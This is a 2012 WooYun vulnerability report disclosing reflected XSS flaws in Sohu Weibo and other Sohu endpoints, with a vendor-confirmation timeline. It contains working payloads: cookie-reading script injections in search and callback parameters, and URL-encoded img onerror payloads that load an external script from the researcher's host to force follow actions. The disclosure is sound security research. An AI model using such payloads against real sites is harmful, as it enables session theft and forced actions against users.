当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010041

漏洞标题:搜狐微博xss问题

相关厂商:搜狐

漏洞作者: icefish

提交时间:2012-07-23 16:39

修复时间:2012-09-06 16:40

公开时间:2012-09-06 16:40

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-23: 细节已通知厂商并且等待厂商处理中
2012-07-24: 厂商已经确认,细节仅向厂商公开
2012-08-03: 细节向核心白帽子及相关领域专家公开
2012-08-13: 细节向普通白帽子公开
2012-08-23: 细节向实习白帽子公开
2012-09-06: 细节向公众公开

简要描述:

反射型和csrf的问题都有

详细说明:

1.首先是一个反射性的xss
http://t.sohu.com/twsearch/twSearch?key=asd&"><script>alert(document.cookie)</script>=1
这里的逻辑有点问题,导致了xss的存在,复杂点的是下面实现的可以加关注,外部引用js

http://t.sohu.com/twsearch/twSearch?key=asdf&%22%3E%3Cimg%20src%3D%27ice%27%20onerror%3D%22var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A%2f%2ficefish1987.sinaapp.com%2faddFollow.js%27%3Bdocument.body.appendChild%28s%29%3B%22%3E
http://t.sohu.com/twsearch/twSearch?key=asdf&%22%3E%3Cimg%20src%3D%27ice%27%20onerror%3D%22var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A%2f%2ficefish1987.sinaapp.com%2faddFollowajax.js%27%3Bdocument.body.appendChild%28s%29%3B%22%3E


(大致就是js form提交型以及 ajax型提交,这里其实有另一个问题就是加关注应该有个token之类的来对抗反射型xss)
2 搜狐微博的短连接似乎有点问题
http://t.itc.cn/pQfAP
这是我生成的一个短连接,应不应该做过滤呢,要是不过滤,感觉上可能会有隐患吧
3. 附送几个反射性的xss,没多大意思,都是callback型的,

cc.i.sohu.com/a/app/counts/get.htm?ids=blog_228544023,blog_228108828,blog_228098977,blog_228095558,blog_228058235,blog_228052163,blog_227994519,blog_228005565,blog_227980500,blog_227859528,blog_227858958,blog_227825831,blog_227834137,blog_227818274,blog_227815969,blog_227813242,blog_227780666,blog_227776940,blog_227758059,blog_227757241&callback=<script>alert(document.cookie)</script>
stat.i.sohu.com/guest/frag/recents.do?callback=<script>alert(document.cookie)</script>&xpt=MTgxNzEyODE0QHFxLmNvbQ%3D%3D&_=1342946198434


此外感谢下:@gainover的详细教程,受益匪浅,以及px1624的js代码

漏洞证明:


修复方案:

过滤

版权声明:转载请注明来源 icefish@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-07-24 11:09

厂商回复:

最新状态:

暂无